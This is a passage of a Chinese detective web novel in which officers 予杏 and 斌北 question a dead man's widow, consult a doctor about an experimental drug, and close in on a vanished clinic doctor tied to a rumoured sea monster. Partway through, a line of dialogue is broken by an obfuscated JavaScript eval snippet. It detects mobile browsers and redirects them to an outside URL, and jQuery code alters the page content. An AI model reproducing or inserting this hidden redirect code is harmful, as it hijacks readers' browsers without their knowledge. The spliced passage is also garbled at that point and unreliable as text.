不行,不能这样,他是要成为扬名立万的记者的人,不能被困在这里。 瑞达达捏着酒瓶默默的想,因为他刚刚紧张的死死抱住这瓶酒,警员也没把它没收。 “我想上厕所。” “哎呀,你会说话啊?” “嗯。” “你大晚上来警局做什么啊?” “不做什么,就是喝多了有点迷糊。” 瑞达达的视线向下漂移,他自己都觉得这话说的假,这句话怕是说错了。 但是他没想到的是,警局的大哥不疑有他,点了点头道,“下次少喝点。” “啊......” “你刚刚说要上厕所是吗?跟我走吧。” “嗯...” 瑞达达觉得自己可能是多虑了,早知道这些警察这么不聪明,自己就不用这么小心翼翼的钻草丛里。 他本来就满身的蚊子包,今天这一路跑下来身上又多了不少划伤。 瑞达达走进厕所里,趁着警察没有盯着自己,翻窗溜了出去。 还好这次是在一楼,除了本就有扭伤的脚有点疼以外,其他一切无恙。 瑞达达沿着墙根慢慢的摸索,每遇到一个窗户就抬头朝里面看看,过了好久,终于给他找到一个看上去有点像办公室的屋子。他远远的透过月光看见里面立着一块小黑板,黑板上写着烂尾楼,然后是花园路明珠小区507。 眼睛一亮但是再往后面的内容就因为墙壁的阴影看不清楚了。 试了一下窗户是锁上的,瑞达达就想着试试隔壁一扇亮着光的窗户,看有没有人在,能不能翻进去。 于是又鬼鬼祟祟的摸着墙腰向另一个窗户前进,然后他满怀希望的一抬头,正和一脸疑惑的警官对视上了。 瑞达达呆呆的看着他,突然意识到这就是刚才的厕所。 瑞达达最后也没解释清楚自己是干什么的,但他终于弄开了酒瓶的盖子。 他没喝过白酒,只觉得很辣,试着喝了一点之后脑袋晕乎乎的,就在看守室里睡着了。 白天斌北来上班的时候就看见看守室里关着一个满脸通红抱着酒瓶酣睡如泥的人。 他的脚上还裹着纱布,蜷缩在小小的床上看着有几分可怜。 “这人做什么了?” “没做什么,就自己跑来的,问他什么都不说,我猜他是流浪汉吧,就收留他在这里过一夜。” “真可怜,不知道是遇上什么伤心事了。” 瑞达达此时一点都不伤心,梦里他成为了中心市众所周知的名记者,他买了属于自己的房子,吃上了自己喜欢的食物,每天都喝啤酒,主编变得和颜悦色再也不无视他的存在了。 七月二十三日 案发后第四天 警局里 予杏尝试了三次之后,终于确认了青梧的手机是完全打不通的,但也可能这个时间段医院正在忙吧。 “喂,别打电话了,我们出发去你昨天说的小诊所呗。” “你先去,地址我录在车载导航里了,如果诊所还没开门的话,你就在巷子前后到处走走,向周围人打听一下消息,之后就去找局长申请搜索令,顺便搜集一下经营那家诊所的医生的所有资料,家庭住址之类的都要找齐。” “知道了。” 斌北飞快将予杏说的记在小本子上,从警局的办公桌上上拿起车钥匙,就往大门的方向走,走了两步一回头发现予杏根本没有跟上来。 “走啊?” “你一个人去,我要去一趟第一人民医院。” 予杏想了想觉得还是自己去医院里找青梧比较稳妥,顺便也可以问一问,安女士当天的情况印证一下自己的推测。 上午九点五十分,斌北抵达了诊所,这就是一间再寻常不过的社区诊所,位于两个老小区之间的一条宅胡同里,可能是市政府的规划问题,这条巷子比较窄,且巷子寥寥的四五家店面只有诊所看起来还在继续经营。 其他的店铺都像是早早取下了招牌,门前台阶坡道堆着厚厚的灰尘。这也难怪,毕竟这个巷子又窄又偏,怎么看都不像是会有客人光顾的地方。 正如予杏所说的,诊所的对开式的玻璃门上面张贴着营业时间,上面写着早上八点至晚上七点,不过叫人在意的是这张写着营业时间的纸张也太大了一点,几乎占据了玻璃们绝大部分的空间,另外的玻璃上则贴满了中药广告,从外面往诊所内看去,几乎什么都看不见。 斌北挺不解的,要在门上贴这么多东西的话,当初就不要装透明的玻璃门,直接装木头门,金属门,随便什么不透光的门不就好了。 斌北抬手看了看表,已经临近十点了,诊所没有开门。 斌北打开笔记本。 向周围人打探,申请搜索令,搜集诊所大夫的资料 斌北抬头看了看巷子的两边,真是不巧,诊所的门是面朝东的,而两边的夹着他的居民楼都是面朝南的,所以从巷子里抬头张望,两边都是居民楼没有开窗的侧面,看来询问住在附近的人估计他们也不知道什么,现在该找谁询问才对? 斌北苦着脸沿着巷子往前走,巷子虽然窄但是不深,很快就走到了另一头。刚走出巷子,就看见土石路边长着一颗很大的香樟树,在日近午时,阳光越发炙热的上午十点,挺拔的香樟树投下一大片深邃的树影,树下还有两个老人,正躺在竹制的长椅上摇扇乘凉。 此时的第一人民医院 予杏轻车熟路的找到了青梧的诊室,这个时间诊室的门口已经排了很多的人了,虽然隔壁就有候诊室,但是不少人还是坚持站着或者搬了小板凳坐在诊室的门口排队。 予杏也没预料到青梧的电话会完全打不通,也没来得及提前一天挂个号。予杏叹了口气,摸出手机想看看现在挂号的话今天能不能排到他。 可惜,医院的服务网页上显示,青梧医生今天的号一周之前就已经全部被挂满了,现在无法预定,因为半个月后的也已经全部预约完了。 予杏悄无声息地在心底叹了口气,然后在病人及其家属一声声‘你怎么插队啊’的抱怨中,予杏径直走上前,一把推开了青梧会诊室的门。 青梧正在一边看诊一边大口的吃柠檬,他似乎并不擅长吃酸,一边吃一边被酸的龇牙咧嘴,听见门口的动静抬头去看,发现是予杏。青梧一边诧异地对予杏挥了挥手,一边默默的从桌上抽出一张纸巾擦掉眼角被酸出来的泪花。 “予杏警官?有什么事吗?” “嗯,我有事想请你帮忙,你今天什么时候能有时间?” 青梧歪了歪身子越过予杏,通过打开了半边的门望向外面长长的病患队伍,犹犹豫豫的道: “估计...还有一会儿,下午三点左右应该可以抽出点时间来。” 予杏点头,立刻转身离开了诊室,看见他干脆利落的走了,几个凑过来想着悄悄插队的人也悻悻地退回原位。 予杏一边走一边低头思考。 如果青梧没有时间的话,那么从外市请来一名顶级的专家医生大概需要多少时间,如果将沟通成本也涵盖在内,最快也要两天的时间,还得是在专家本职工作不忙的情况下。 怎么可能不忙啊。 予杏摇摇头否决了这个想法。 很快予杏就轻车熟路地来到了小等的病房。 今天是一个阳光灿烂的日子,天气预报说今天一整天都会是晴天,只可惜这间由储物间改造的病房只有一扇巴掌大的透气窗,漂亮的金色阳光穿过满是灰尘的玻璃进入室内,也变得浑浊起来。 小等的病房和他们上次的来的时候没两样,只是床头多出了一盆天堂鸟。天堂鸟又称鹤望兰,它的花语是等待爱人和思念,一般不会用来送给病人才对。 予杏走进病房的时候安正在用热水壶给热水瓶装水,予杏想了想上前几步拿过了她手里的电水壶。 “我来吧。” “谢谢,谢谢。” “没事。” 手上一轻,安这才抬起头开看着帮忙的小伙子,她本以为来人是医院的志愿者,但是细看又觉得不太像。 这层楼里来过的志愿者她基本都认识,但是眼前这个看着斯斯文文的却没有年轻人的朝气。 安眨了眨眼睛,困惑地询问:“你是?” 和死者家属的沟通的事情一直都是斌北一个人负责跟进的,除了第一次将死讯带来之外,予杏没有和安女士有过接触,此时也不意外她记不得自己。 予杏拿出自己的警官证道: “我是名警察,之前和另一名斌北警官一起来过,你能想起来吗?” “哦,我记起来了,是你啊,有什么事吗?” 安懵懵的反应了一会儿,很快她像是反应过来什么一样,神情激动的望着予杏,“难道说是赔偿金?你们已经抓到凶手了,要给我们发赔偿金是不是。” 看着她的眼里翻涌着热切的希望,再看看躺在病床上奄奄一息的孩子,予杏沉默了,他静静的看着安女士过了好一会儿才道:“抱歉。” “......”安也没说话,只是肉眼可见的颓废了下去,她疲惫的叹了口气,“没事,没事的。” 病床上小等还和上次一样,皱着眉头很不适的在睡觉,浑浊的阳光洒在她的脸上,星星点点的黑色影子落在她的眼角,就像是那孩子在痛苦的落泪一般。 予杏压低了声音小声的对安小姐道: “我来是有些事情想向你求证,可以请你回答我的问题吗?” “可以,你说吧。” “我请医生调阅过了孩子的病历,除了这家第一人民医院,暂时还没有其他二甲及以上的医院有小等的治疗记录。孩子生病之后你们是直接送来了这家医院投入就医的吗?有没有去过其他医疗机构,比如附近的社区诊所?” “有去过诊所,就是我们家附近的那家,予杏警官,你怎么知道我们去了诊所?” “没什么,我猜的。” 其实予杏也不全然是胡乱猜测,只是在老房东那里看见那盒过期的发烧药的时候突然想到有这种可能而已。 “为什么会直接来市中心医院呢,如果社区诊所表示治不了的话,你们为什么没有选择更近的区立二甲医院,而是直奔这里,可以的话,能把当天发生的事情详细的将给我听吗?” 安微微蹙眉,她的脸上因为劳累而松垮的皮肤,随着她的动作一层层地堆叠在眉心,形成一道道的皱纹,她看上去十分憔悴,努力的回忆。 “我记得那天我们是先去了扼佼大夫的诊所,因为家里的实在没有什么钱了,我和我的丈夫在附近的工厂找了小时工的工作,为了多挣点我们下班都很迟,那天我们下班的时候回到家里,孩子倒在地上发着高烧,我们两个吓坏了,急急忙忙带着孩子去之前去过那个诊所。 我们到的时候天都黑了,扼佼大夫正在收拾东西准备回家,我们冲进诊所的时候他好像很不高兴的样子,但还是接诊了。” “那时候是几点?” “记不清了,大概是晚上七八点吧,因为我们到中心医院的时候已经九点多了。” “好的,我知道了。” “扼佼大夫摸了摸孩子的额头,问我们孩子有没有吃药,我说吃了,扼佼大夫就说这个症状一看就不是普通的发烧,很有可能是败血症,他这里看不了,让我们赶紧去大医院,最好是三甲医院,不然说不定越拖越不行。” 安说到这里不由苦笑了一声,“我们那时候还不知道败血症是什么病,还以为就是更严重一点的感冒,没想到...我甚至还想过,是不是扼佼大夫着急下班才故意说是重病,把我们推到大医院来,自己好赶紧回家,要是真的都像我想的那样该多好。” 予杏一言不发,静静的看着病床上的小等。 确实,如果只是误诊该有多好。 安顿了顿,再次发声的时候,嗓音里带着一点点的鼻音,像是在努力的压抑着情绪,“是我误会扼佼大夫了,没想到我们到了中心医院一检查,居然真的是那个败血症。” 予杏摸了摸口袋,他出门的时候好像忘记带手巾了,悄悄看了一眼,还好安小姐没有落泪,只是眼睛微微泛红而已。 予杏沉默了一会儿,等安的情绪稳定下来一点,继续问道:“你知道为什么扼佼医生能一下就判断出是败血症而不是其他什么病症呢?他难道是这方面的专家吗?” “这我就不知道了,他是大夫,应该有他自己的办法能看出来吧。” 予杏默默在心底叹了口气,推测正确,但看起来线索暂时还续不上。 “那么你对扼佼医生有什么想法吗?觉得他是一个什么样的医生?” “想法,没什么想法,我们不是很熟悉。” “...嗯,我知道了。”予杏对安女士微微点头致谢道,“谢谢,我想要了解的暂时就这么多了。” “没事,那个...” 安欲言又止,她的情绪似乎已经稳定了很多,看着病床上还在昏睡的女儿犹豫了一会儿对着予杏可怜地祈求道:“还请你们尽快抓到凶手。” “嗯,我们会尽力的。” 案子他是一定会解开的,但结果能不能帮到她们,现在的自己也还不能确定,予杏不愿意去面对安期盼的眼神,于是将自己的视线移向别处,正好又看见那盆天堂鸟。 “你和你的老公的关系很好吧?我记得天堂鸟的话语有一种是‘飞向天堂的鸟,将对离世亲人的思念带往天堂’。” “这盆花?” “嗯,上次来的时候还没看见,你最近买回来的吗?” 安轻轻地摇头,凄惨地笑道, “我们哪有这个闲钱,这花我们住进病房的时候就有了,前几天都放在角落里来着,这两天我看天气好就搬出来晒晒太阳。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375919|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样啊。” 下午两点半 予杏坐在医院的小花园里的一处树荫下乘凉,医院里的消毒水味道已经闻的他有些难受了,哪怕没有空调他也乐意待在外面。 予杏靠在椅背上接通了斌北打来的电话。 “喂予杏,我已经打探清楚了,那家小诊所已经连续五天没有开门了,诊所里只有一个医生,性格不是很好,周围的居民都不是很喜欢他,除非感冒发烧一般不去找他看病,所以大家对于他不在诊所回去哪里也一无所知。” “五天了,也就是说他离开案发现场之后的第二天就没有再出现过吗,很可疑啊,我们得赶紧把他找出来,抓紧时间回署里申请搜查令。” “这还用你说,我已经快到警署了,还有两个红绿灯,灯快绿了我不跟你说了。” “嘟嘟嘟......” 予杏将手机收回衬衫口袋里,仰头靠在小花园的长椅上,此时正是太阳热的惊人的时候,从午餐时间开始就一直没有胃口的予杏抱着一碗凉皮有一口没一口慢吞吞地吃,而坐在他身边的青梧却截然相反,此时辛苦了一个上午的青梧医生正抱着一桶老母鸡汤埋头猛喝。 予杏很疑惑他是怎么在这么热的天气喝的下种碗热气腾腾的鸡汤的,同时也很疑惑,为什么都下午两点多了他们两个才刚开始吃午餐。 “打电话来的是斌北警官吗?” “嗯。” “你们最近好像好像很忙呀,话说予杏警官你特意跑来找我到底有什么事情呢?” “青梧医生应该已经看过最近的报道了吧,你觉得烂尾楼里真的存在怪物吗?” “为什么突然说起这个。” “因为我们现在正在调查的就是那起案子,我猜报道说提到的受害者就是杨程先生。” 青梧愣了一下,他似乎也早有察觉,所以很快就反应过过来, 他的脑袋垂下一点,眼神似乎有些哀伤。 “医生,你觉得世界上存在怪物吗?” “...我,我不知道。” “我可不相信世界上存在什么鬼的杀人怪物,这世上只有一种怪物,就是扭曲的人心。” “扭曲的人心?” “我想请你帮忙,解剖杨程的尸体。” 青梧愣了愣从汤碗里抬起头来,“为什么?” “我们最近调查到一个可疑的人,他叫做扼佼,职业是一名医生,我觉得如果医生的话,杀人的方式最有可能是投毒。” “是医生就会投毒,你为什么这么想?” 予杏沉默了一会儿突然将木碗放在膝盖上,随即自暴自弃一般的突然就瘫倒在椅子上,他靠着椅背长长叹了口气道:“我不知道啊,大概是直觉吧。” 青梧医生愣了一下然后笑出了声。 “你笑什么?” “因为予杏警官你总是一副‘我什么都知道,我懒得跟你说,你照着我说的做就行了别废话了’的样子。” “我在你眼里是这么可怕的角色吗?” “那你觉得自己是什么样的人。” “......我觉得自己只是有点懒而已。” “哈哈哈,你可能真的要去看看我精神科的同事了。” “好吧,那我简单陈述,我现在觉得有一种可能是这样的:扼佼医生先使用毒药将杨程毒死,然后将刀刺进他的胸口,出于一种我完全不想不通的目的,他用保鲜膜或者其他什么东西包裹住刀刃,然后刺穿了尸体的胸口,最后在刀伤涂抹一些来自昆虫或者海星海参之类蓝色的血液,将现场未造成现在这样。” 青梧歪着头想了想,“这有可能吗?就说第一步,怎么将人毒死,虽然用毒是民间流传说最好的杀人方式,但是作为一名专业的句芒医生我得告诉你,这是行不通的,强制他人服毒的话,自己也必然会中毒身亡。” “啊,我知道。”予杏还是摊在椅子上有气无力的应和一声。 “你知道?” 予杏:“虽然我们对反噬的经验总结仍不完全,但就目前的理论来说,比如医生用药有两个原则,第一需要服药者清楚知道自己吃的是什么药物,第二必须是自愿服用的,这两个原则缺少一个,就会发生反噬。” 予杏:“用毒也一样,你得告诉别人,这是毒药然后还要让被害人心甘情愿的吃下去,与其说是杀人,倒不如说是被害人的自杀。所以我也觉得可能性不高,但是搞清楚他会用那种毒药,追踪来源,方便我们尽快找到扼佼医生才是我的目的。” “话虽如此,但杨程根本没有理由心甘情愿的吃下毒药,如果说他根本就是服毒自杀,然后请求扼佼帮忙伪造现场的,那扼佼又凭什么要帮他?”青梧疑惑的看了看予杏,然后喝了一大口鸡汤。 予杏哼哼了一声。 他也觉得扼佼不可能帮忙伪造了现场,扼佼的风评一般,冒这么大风险,只为助人为乐的概率不高。 正相反他应该是受到了某种威胁,那天孩子发高烧的时候,杨程在诊所应该是看见了什么。 可能是不想继续这种颓废的状态了,予杏从椅子上稍微坐起来一点,深呼吸了两次之后又恢复到了原来面无表情的样子。 他侧头看着医生道: “我刚刚看你在吃柠檬?” “啊?”青梧的表情扭曲了一瞬,像是回忆起了柠檬的酸涩,不由皱着眉头苦着脸,“干嘛突然说起这个。” “虽然具体情况我不了解,但我推测你应该是为了中和掉自己体内某种药物作用吧。” “嗯,因为给一个意识不清的病人注射含碱性的药物...等等,你的意思是。” 青梧的声音不由高了几分,“你觉得是扼佼杀了杨程,然后活着离开了现场?!” “如果是医生的话就可以想办法中和掉一部分的药效吧。”予杏声音懒洋洋地道。 “扼佼被反噬之后第一时间给自己注射解药?这太过疯狂了,这才是真正的拿命在赌吧。” 青梧不由自主的咽了口口水,都说他们句芒医生是拿命赌命的疯子,但就算是他也觉得这种做法过于疯狂了一点。 人类想要杀死他人的心真的可以强烈到这个程度吗? “我其实我也想不通。”予杏摇摇头,“我认为作为一个正常人,不应该因为受到威胁,就拿出大不了同归于尽的勇气去杀人。” “那你是怎么想的?” “我觉得有几种可能, 第一、扼佼自信能全身而退,但是如果说你都觉得可能不大的话,我会排除这种可能。 第二扼佼、使用毒药,并且有一定的概率能全身而退,比如他接种过某种疫苗,并且确信杨程没有接种过。 第三、扼佼的杀人方法在一定时间内发作,有一定概率会致死,所以他现在躲起来,等着风波平息。 第四、扼佼根本没有下毒,我搞错了。” “我觉得是第一种可能性不大,后面几种都有一定的可能性。”青梧顿了顿继续道,“我觉得是第三种或者第四种。” 予杏直接了当的做出结论,倒是让青梧一时间反应不过来了。 “你是有什么根据吗?” “前段时间网络上出现过一个自称是可以召唤‘人面鲛’的人,他网上称自己成功杀死了很多人。” “我听说过,但警方不是已经发出声明根本没有这种事情吗?” “警方,斌北跟我说警局只是不想把事情闹大而已,有很多的案子仍有疑点,我怀疑所谓的‘人面鲛’就是扼佼使用的某种杀人方法,药物甚至可能是利用了货真价实的怪物杀人,为了达到某种,目前我们还不得而知的目的。” “......”青梧沉默了,恍惚间他回忆起予杏在走廊上描述的那个名为‘人面鲛’的怪物,来自深海的,长满尖锐獠牙,三颗心脏的怪物。 明明是酷暑夏日的午后,平静安逸的医院花园里,青梧感受到一丝寒意。 “我知道了,解剖的事情,我会尽全力的。” “那就交给你了。” 予杏说完把吃到一半的凉皮从腿上拿下放在椅子的一头,他实在是吃不下了,一点胃口都没有,还有些昏昏欲睡。 予杏背靠在长椅上闭了闭眼睛。 “请问,你就是予杏警官?” 予杏看着眼前陌生的一男一女,没精打采的睁了睁眼睛,稍微从椅子上坐起来一点。 陌生的男女穿着朴素,男人穿着白色的汗衫配上舒适的黑色棉短裤,女人穿着红色的斑纹T恤配上白色中长裤,他们上去有些年纪了,眼袋很重,鼻翼到嘴角之间有明显的法令纹,看上去大约有五六十岁的样子。 予杏确认自己不认识他们, “我是予杏,你们找我有事?” “我们是杨程的家属啊,听他老婆说他出事,死掉了,这才从赶来的。” 予杏愣了一下,杨程的资料他全部有翻过,他可以肯定杨程在本市除了安女士和小等以外没有其他的亲属了。至于外市的亲属,好像自从十几年前杨程的父母去世之后就再没和他联系过。 予杏心理清楚这个时候找过来似乎只有一种可能,但还是站了起来,问道: “你们找我是为了...?” “就是赔偿金啊。” 看着予杏的眉头微皱,男人赶紧拉了拉女人的衣角。 “哎,你少说两句,我来说。” 予杏:“......” 予杏默默无语的看着他们,果然不出他所料的,这两个自称是杨程亲人的家伙就是冲着赔偿金和保险金来的。 男人一拍女人的手背示意她往后站站,然后堆着笑凑上前一点。 予杏本想瘫回椅子上的,但是转念一想,与其瘫回去头疼不如忽悠一下这两个人帮帮需要帮助的人。 予杏酝酿了一下表情,真诚中带着点老实退缩的模样。 “你们是想问关于赔偿金的事情吗?” “对啊。” “真是对不起,我们目前还没有找到应该支付赔偿金的人,所以可能还要再等一阵子才能有结果。” “什么?那就是说拿不到钱?”一听说没有钱拿,老夫妻立刻收起了笑容,他们用一种非常愤怒的声音呼和道。 “嗯,但是结案之后...不对等等,你们是杨程的亲属,不是安女士的亲属?” “是啊。” “是这样的,赔偿金一般是优先给予配偶及子女的,然后才会酌情给予其他亲属。” “你什么意思,你要说我们怎么都拿不到钱是吗?” “不是不是,是这样的。”予杏走上前一步压低了声音,“原则上你们是分不到的,但是小等一直在住院,她的那部分会优先抵偿医药费以及欠借款的利息,所以你们如果借过她钱的话,是会优先把钱给你们的,连带着你们协商定的利息一起。” 男人反应了一会儿,随即喜笑颜开连连点头,“哦哦哦,我懂了,我懂了,我这就找安去。” 男人说完就往回走,女人过去,“他都说了什么啊?” “别问,快走,我们卡里还有多少钱?” “你问这个做什么?” “你别问这么多。” 看着两人渐行渐远,予杏嘴角微微扬起一个像素点的弧度,重新坐回了椅子上。 “予杏警官,骗人是不好的。” “骗人?我哪有骗人?” “赔偿金会优先还给医院以及偿债但是好像不计算利息。” “是这样吗?哎呀,我是一个新人可能记错了吧,我的前辈们总说,我作为一个新手,搞错一点小事都是应该的。” “......”青梧不知道说什么好了。 予杏心情好了一点之后胃口也好了一点,他低头看了看自己椅子的左侧,空空的,再看看右侧是青梧的白大褂衣角。 予杏:“欸?我的凉皮呢?” “额...我以为你不吃了。” 予杏抬头看见青梧捧着自己带来的木制餐盒,青梧将餐盒还给了予杏,里面轻飘飘的空荡荡的,食物一点没有剩下。 “给你,味道很不错,但我没时间送回去回收亭,麻烦予杏警官了,我得赶紧回去看诊了。” 予杏:“......” 青梧说完拍拍屁股站起来跑了,顺便带走了自己的保温罐。 5. 第 5 章 七月二十四日 案发后第五天 一大清早予杏睡的正香,却被一阵突如其来的来电铃声打搅了睡意。 不过还好他没什么起床气,就算是被吵醒了也只是稍微有些迷糊而已。 从床头拿来手机看了一眼,一串未知号码,仔细看过每一个数字后,予杏发现居然是青梧打来的,想必他是从昨天自己打过去的三通电话得知自己的联系方式的。 “喂?”予杏接通了电话。 “予杏警官吗?你今天上午有时间来一趟医院吗?化验结果出来了,我发现尸体内确实存在一些药物反应,是一种会致使休克的药物,但是目前计量还不能准确确定。” 予杏打了个哈欠,顺带看了眼床头柜上的时钟,现在是五点四十分。 “我马上到。” 为了方便予杏最近买了新的住宅,位于警局与中心医院之间的一栋小别野。从这个位置打车去医院的话,考虑到现在这个时间街上出租车不多的因素,大概需要需要四十分钟,但是自己开车去只要二十分钟。 予杏犹豫了一下,最终决定自己开车好了。 时候尚早,还没到早高峰的时候,街道上难得的没有堵车,和预想的差不多,予杏一路踩着油门在六点前就赶到了中心医院。 按照青梧发来的定位,予杏一路摸索着找到了位于医院地下的停尸间。 医院的停尸间不算大,就算是处于冬暖夏凉的地下,也还是全天候的开着空调,但听青梧说他们冬天不开。 停尸间的停尸柜里大多数的位置都是装着尸体的,因为医疗救护的各种困难,所以在医院里死去的人很多。 予杏一走进停尸间旁边的解剖室就看见杨程的尸体横躺在狭窄房间正中间的解剖台上,可能是考虑到予杏的感受,青梧贴心的用一块蓝色的布覆盖了尸体脑袋以下的位置。 “早上好。” “哦,你来了,早。”青梧坐在解剖台一边的桌子前面看笔记本电脑。 “检查出来有药物反应了?” “嗯。” “是什么药物?” “XXL128,一种还在改良中的激素类药物,药效很好但是副作用较多,目前只提供给少数学者试验使用,我有申请过五毫升的计量用于解析药物成分,据我的推测这种药物口服一定量极其容易致人休克,且有大概率造成休克性死亡,暂时不适用于投入市场。” “杨程有可能是因为摄入这种药物导致的休克死吗?” “不可能,我刚刚已经确认过了,杨程的体内是有这种药物不假,但是他摄入量不高,应该达不到致死的量,也就是说药物并不是他致死的原因。” 予杏看了看青梧在纸上列出的数据,这种XXL128药物的致死量一般在五十毫克左右,杨程体内有轻微药物反应,推测摄入含量约二十毫克。 “予杏,杨程不可能是被扼佼用毒药毒死的,你的推理出现问题了。” 予杏轻笑了一声,表情依然平静又镇定, “这些不重要,重要的是XXL128既然是还在改良中的药,目前能搞到这种药物的应该只有少数学者,杨程弄不到XXL128,而扼佼却很有可能弄到,这再次佐证了扼佼就是当天去过那栋楼的人。” “青梧医生你能查清楚扼佼是否有向协会申请过这种药物吗?” “可以,其实我现在就正在向医药协会申请调阅近几个月的申请名单和申请计量。” “什么时候能有回复?” “不好说,迟的话可能要到明天才能发送过来。” “予杏,我有一个想法。” “愿闻其详。” “XXL128中有一种成分,可以与中枢神经系统反应,产生副作用。” “致幻?” “对,轻微的,但是在黑市可能会有销路。” “所以你推测这就是扼佼被杨程抓住的把柄?他并没有杀死杨程只是将药物拿给杨程试用,企图拉他下水,却不想药物导致了杨程的意外死亡?” “如果是这样,杨程就可能会自己服用那瓶药剂。” “那么他又为什么要布置现场?他是用什么方法布置了现场?现在他人又在哪里?” 青梧没有回答,只是默默地从口袋里掏出一颗糖放进嘴里,他头有点晕,可能是低血糖要犯了,从昨天晚上开始工作到现在一刻都没歇,一会儿干脆就在地上小睡一下再去看诊吧。 上午七点半左右,予杏买完早餐刚上车就接到了斌北的电话。 “喂,你小子在哪呢?” “干嘛?” “我询问了那家诊所周围的人,有人能证明案发当天晚上七点多,那个叫做扼佼的大夫有离开诊所,后来就再也没有回来过了。” “哦,”予杏淡淡回复了一句,“你在那间诊所门口吗?” “对。” “稍等,我马上到。” 上午九点 予杏的车终于驱车抵达了扼佼的诊所,实在是这个时间段的车流太拥挤了,堵的根本没办法走,今天正好还有宗教团体在街上做宣传,简直的水泄不通。 斌北正站在路口张望,看见予杏的车从方向驶来,因为是没见过的车,直到予杏下车之后斌北疑惑地走上前。 “你怎么从那边来,你家那景区不是在反方向吗?” “我去了一趟医院,青梧证实杨程的体内有药物残留,药物来源应该就是扼佼。” “什么?什么药物残留??” “......” 予杏沉默不语,懒得解释, “你说的证人呢?” “今天是休息日,她们教团做活动,她去街上宣扬教义了。”斌北用手指着诊所边一栋楼的窗户,“她就是从那里看见的。” 扼佼的诊所位于在一条巷子之中,巷子两边都是砖瓦结构的矮楼,两侧的楼房都没有窗户朝向这面,门面很小,除了贴满海报的玻璃门,就连两边的窗户上都拉着蓝色的窗帘,根本看不清里面。 斌北指出的那个窗口是个违章建筑,突出墙壁一段距离,还开了一扇窗,如果是从那扇窗户的话,确实有可能可以看清诊所的门口。 “我们去看看,她们家有人在吗?” “有,她婆婆在家带孩子。” 此时城市的一处不知名角落里,一个男人郑重的望着眼前的肉糜罐头,艰难的挖了一勺放进自己的嘴里。 十分钟后,斌北敲响了房门。 “哎呀,又是你啊,还有事吗?” “我们还想再看一下那个窗户,可以配合一下吗?” “愿无上神母保佑你们,你们这些警察真是麻烦,我又拿不到赔偿金还要配合你们工作。”老太太不情不愿的说着还是让开了门。 这个违章建筑被这户人家用作厨房使用,按照老太太说的,那天她的媳妇从厨房洗完水果出来,跟她说‘最近感冒的是不是很多啊,楼下的小诊所这个点了才下班。’老太太听了也探头看了一眼,看见扼佼大夫锁好了门正要离开。 “那个时候大概是晚上七八点钟吧,但是我记得扼佼大夫每天都是六点下班的,我猜应该是我媳妇搞错了,扼佼大夫应该是忘了东西回来拿。” “你们知道扼佼家住在哪里吗?” “我哪里知道,他每天都摆着张臭脸,对我们这些老人也一点都不关心,药也卖的贵,比药店里贵上好多呢,我们都不喜欢去他那个诊所,愿无上神母降下诅咒于他。” “所以你们也不知道他具体住在哪里?” “不知道,要我说,他说不定是住在哪个相好的女人家里。” “他没有亲人朋友?” “没见过,但我好像记得有一两次买菜路过那个诊所门口,听见他对着电话破口大骂,哎呦,骂的可厉害了。” 斌北拿着小本子认真的记录。 “警官,扼佼大夫到底跟赔偿金有什么关系啊?他该不会在哪里和别人一起死翘翘了吧?” “啊,不是,额...” 正在斌北不知道该怎么说的时候,予杏匆匆从厨房走出来,喊了一声, “喂,跟我来。” 借着这个时机,斌北立刻两步跟了上去,飞快跑出了老太太的家门,顺便还贴心地帮老太太关好了房门。 “怎么了?” “刚刚有一瞬间那间诊所的窗帘动了一下。” “什么!难道说那个扼佼一直躲在诊所里面!” “虽然也不排除这种可能,但我刚刚看见的应该不是,诊所那些蓝色帘子的颜色很浅,那时候如果是人在帘子后面的话,一定会映出人影的,我觉得应该是有风吹进去的缘故。” “什么意思。” 斌北站在原地一动不动,一脸的迷茫。 予杏自顾自地往前走,“意思就是,诊所的四面应该还有其他窗户,而且那扇窗户可能没有上锁。” 予杏和斌北围着诊所转了一圈,最后在停在了诊所正后面是一条胡同里。那是一个死胡同,斑驳的墙壁一边整齐地排放标准的十一个不同分类的垃圾桶,垃圾桶的对面有一扇宽幅六十公分,高约一百二十公分的窗户,窗户夹了一条小缝。 照理说这个位置,这么小的缝隙不应该有风吹进去的,不过巧的是今天正好刮大风,风向又十分杂乱,偶尔会有细微的气流穿进窗户里。 予杏有些吃力的推开了窗户,这扇窗户似乎很久没有人开关过了,金属的轴承锈的厉害,难推不说,还不断发出‘吱呀吱呀’的噪音。 窗台高度大概一米余四五十公分左右,予杏比划了一下高度,就准备翻进去诊所里。 斌北赶紧拉了拉予杏的袖子,他的表情震惊地看着予杏,压低了声音,“你要干什么?你不会准备翻进去吧?” “嗯。” 予杏满不在乎的点头,不翻进去他们费力找到这扇窗户做什么。 “这是违规的,被上级知道的话后果很严重。”斌北拧着眉头,拉着予杏的衣角将他往后面扯了扯。 予杏不耐烦的拽过自己的衣服,极其敷衍的说道:“等上级知道了再说吧,等那群拖延症下批搜查令,还不知道要等到什么时候。” 予杏说完就要翻窗,却被身后的斌北以迅雷不及掩耳之势,一下拽住了衣领,斌北用力向上一提,就把予杏整个人都提起来了。 予杏无力的凌空扑腾了两下,嘴角默默下垂了两个像素点后,就放弃挣扎了。 第三次了,可恶的斌北。 警察作为暴力执法部门,平时最主要的执法对象就是一些小偷,以及各种骗子,因为不能伤害别人,所以追击以及擒拿手段是每一个警察最重要的基础课。 作为一个普普通通的特招生予杏没什么武力值,挣脱斌北的专业管制是不可能的。 “放我下来。” 斌北没敢去看予杏的脸,他轻手轻脚的将予杏放在自己身后,然后表情严肃的说道: “你跟在我后面进去,刚刚你也说了吧,不排除那个扼佼还呆在这间诊所里的可能。” “嗯?” 斌北的态度让予杏有点惊讶,然后就听斌北继续道, “不知道他到底是怎么办到的,但如果他真的能召唤出那怪物的话,我也不知道该怎么对付他,所以你最好跟在我身后,不用担心我的安全,怎么说我也从人面鲛的手里逃出生天过一次了,这次也一定能安全回家的。” 